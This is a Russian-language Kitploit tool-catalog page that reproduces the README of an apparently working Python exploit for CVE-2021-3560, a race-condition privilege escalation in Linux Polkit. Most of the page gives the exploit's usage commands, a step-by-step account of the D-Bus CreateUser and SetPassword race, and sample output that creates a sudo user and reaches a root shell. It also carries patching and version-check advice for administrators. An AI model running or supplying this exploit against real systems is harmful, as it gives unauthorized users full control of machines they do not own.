Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3560_Polkit — Эксплойт для CVE-2021-3560 — уязвимость локального повышения привилегий в Polkit | Kitploit
Инструменты/GitHubGitHub/seimupve/cve-2021-3560_polkit
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

Эксплойт для CVE-2021-3560 — уязвимость локального повышения привилегий в Polkit

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-3560 Polkit: локальное повышение привилегий

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Автоматический эксплойт для уязвимости CVE-2021-3560, затрагивающей PolicyKit (Polkit) в Linux-системах.

⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен исключительно для образовательных целей и обучения кибербезопасности в контролируемой лабораторной среде. Несанкционированное использование этого эксплойта на системах, которые вам не принадлежат, является незаконным.

📋 Содержание

  • Об уязвимости
  • Уязвимые системы
  • Возможности
  • Предварительные требования
  • Установка
  • Использование
  • Как это работает
  • Демонстрация
  • Меры защиты
  • Ссылки

🔍 Об уязвимости

CVE-2021-3560 — это локальная уязвимость типа «состояние гонки» в PolicyKit (polkit), которая позволяет непривилегированному пользователю получить root-привилегии на уязвимых Linux-системах.

Технические детали

  • Идентификатор CVE: CVE-2021-3560
  • Критичность: Высокая (CVSS 7.8)
  • Тип: Состояние гонки / Time-of-Check Time-of-Use (TOCTOU)
  • Воздействие: Локальное повышение привилегий (LPE)
  • Дата раскрытия: июнь 2021 года

Затронутые версии

Уязвимость затрагивает две ветки Polkit с разной нумерацией версий:

Upstream (официальные версии)

  • Уязвимы: с 0.113 по 0.118
  • Ошибка внесена: коммит bfa5036 (версия 0.113)
  • Исправлено: версия 0.119+

Форк Debian/Ubuntu

  • Уязвимы: 0.105-26 и выше (до 0.118)
  • Ошибка внесена: коммит f81d021 (версия 0.105-26)
  • НЕ уязвимы: Debian 10 «buster» (0.105-25)

💻 Уязвимые системы

📝 Примечание: Системы с установленными патчами безопасности (например, ubuntu1.1, deb10u1) не уязвимы.

✨ Возможности

  • ✅ Автоматическое обнаружение уязвимости в различных дистрибутивах
  • ✅ Поддержка нескольких ОС: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ Проверка зависимостей для требуемых инструментов
  • ✅ Режим проверки: определение уязвимости без эксплуатации
  • ✅ Адаптивная синхронизация: автоматическое измерение оптимальной синхронизации для состояния гонки
  • ✅ Индикаторы прогресса: отображение прогресса в реальном времени
  • ✅ Цветной вывод: понятный и удобный для чтения интерфейс
  • ✅ Надёжная обработка ошибок: понятные сообщения при сбоях

📦 Предварительные требования

Версия Python

  • Python 3.6+ (совместим со старыми системами, такими как CentOS 8)

Системные зависимости

Эксплойт требует следующих инструментов (проверяются автоматически):

root@kitploit:~
- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

Требуемая служба

root@kitploit:~
- accountsservice  # Must be installed and active

🚀 Установка

root@kitploit:~
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 Использование

Режим 1: Проверка уязвимости (--check)

Проверяет, уязвима ли система, не запуская эксплойт:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

Пример вывода:

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

Режим 2: Эксплуатация

Создание привилегированного пользователя:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

Пример:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

Полный список опций

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ Как это работает

Эксплойт использует состояние гонки в PolicyKit во время обработки D-Bus-запросов.

Принцип уязвимости

  1. D-Bus-запрос: пользователь отправляет D-Bus-запрос на создание пользователя
  2. Проверка авторизации: Polkit проверяет, есть ли у пользователя права
  3. Состояние гонки: если D-Bus-соединение закрывается во время проверки, Polkit считает UID равным 0 (root)
  4. Создание пользователя: пользователь создаётся с повышенными привилегиями

Шаги эксплойта

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 Демонстрация

Типичный сценарий эксплуатации

root@kitploit:~
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ Меры защиты

Для системных администраторов

  1. Обновите PolicyKit:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # or
    sudo dnf update polkit
    
  2. Проверьте версию:

    root@kitploit:~
    pkexec --version
    # Must be >= 0.119 (upstream) or patched
    
  3. Проверьте наличие патчей безопасности:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

Минимальная безопасная версия

  • Upstream: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 или выше
  • Debian 11: 0.105-31+deb11u1 или выше
  • RHEL 8: polkit-0.115-11.el8_4.1 или выше

📚 Ссылки

Официальные статьи и документация

  • GitHub Security Lab: Повышение привилегий с помощью Polkit: как получить root в Linux из-за семилетней ошибки
  • Red Hat CVE: CVE-2021-3560
  • MITRE CVE: CVE-2021-3560
  • NVD NIST: CVE-2021-3560 — подробности

Ресурсы TryHackMe

  • Комната TryHackMe: Polkit CVE-2021-3560 (практика)

Патчи и исправления

  • GitLab Polkit: Коммит с исправлением

📝 Важные замечания

Вероятность успеха

Эксплойт полагается на состояние гонки, а это означает:

  • ✅ Обычно срабатывает за 1-20 попыток
  • ⏱️ Синхронизация критически важна (калибруется автоматически)
  • 🔄 Максимум 100 попыток на шаг (настраивается)
  • 📡 Более высокая вероятность успеха через SSH, а не с локальной консоли

Ограничения

  • ❌ Не работает на пропатченных системах
  • ❌ Требует установленного и активного accountsservice
  • ❌ Пользователь должен иметь доступ к системной D-Bus
  • ❌ В некоторых средах (контейнеры, отдельные виртуальные машины) эксплойт может быть заблокирован

Пропатченные версии (НЕ уязвимы)

Следующие версии содержат патчи безопасности и НЕ уязвимы:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3 и т. д. (Ubuntu пропатчена)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2 и т. д. (Ubuntu пропатчена)
  • 0.105-31+deb11u1 (Debian 11 пропатчен)
  • polkit-0.115-11.el8_4.1 (RHEL 8 пропатчен)

Примечание: Если ваша система определяется как уязвимая, но эксплойт завершается ошибками PermissionDenied, скорее всего, версия пропатчена. Эксплойт теперь корректно определяет такие пропатченные версии.

Отладка

Если эксплойт не работает:

  1. Проверьте версию Python (если вы получаете TypeError: __init__() got an unexpected keyword argument 'capture_output'):

    root@kitploit:~
    python3 --version
    # Should be 3.6 or higher
    # The script is compatible with Python 3.6+
    
  2. Проверьте, пропатчена ли версия:

    root@kitploit:~
    pkexec --version
    # If you see ubuntu1.X (where X > 0), it's patched
    
  3. Проверьте accountsservice:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. Проверьте D-Bus:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. Запускайте через SSH, а не с локальной консоли

  6. Отрегулируйте синхронизацию, изменив optimal_timing в коде

👤 Автор

Seimu

📄 Лицензия

Этот проект предназначен исключительно для образовательных целей. Использование данного кода в несанкционированных целях строго запрещено и может повлечь за собой юридическую ответственность.


⚠️ Отказ от ответственности: Автор не несёт ответственности за любое неправомерное использование этого инструмента. Используйте его только в авторизованных тестовых средах.

Скачать инструмент
ДистрибутивВерсия PolkitУязвим?
Ubuntu 20.040.105-26ubuntu1✅ Да
Ubuntu 18.040.105-20❌ Нет
Debian testing «bullseye»0.105-31+✅ Да
Debian 10 «buster»0.105-25❌ Нет
RHEL 80.115-11+✅ Да
RHEL 7< 0.113❌ Нет
Fedora 21+0.113+✅ Да
Fedora 20 и более ранние версии< 0.113❌ Нет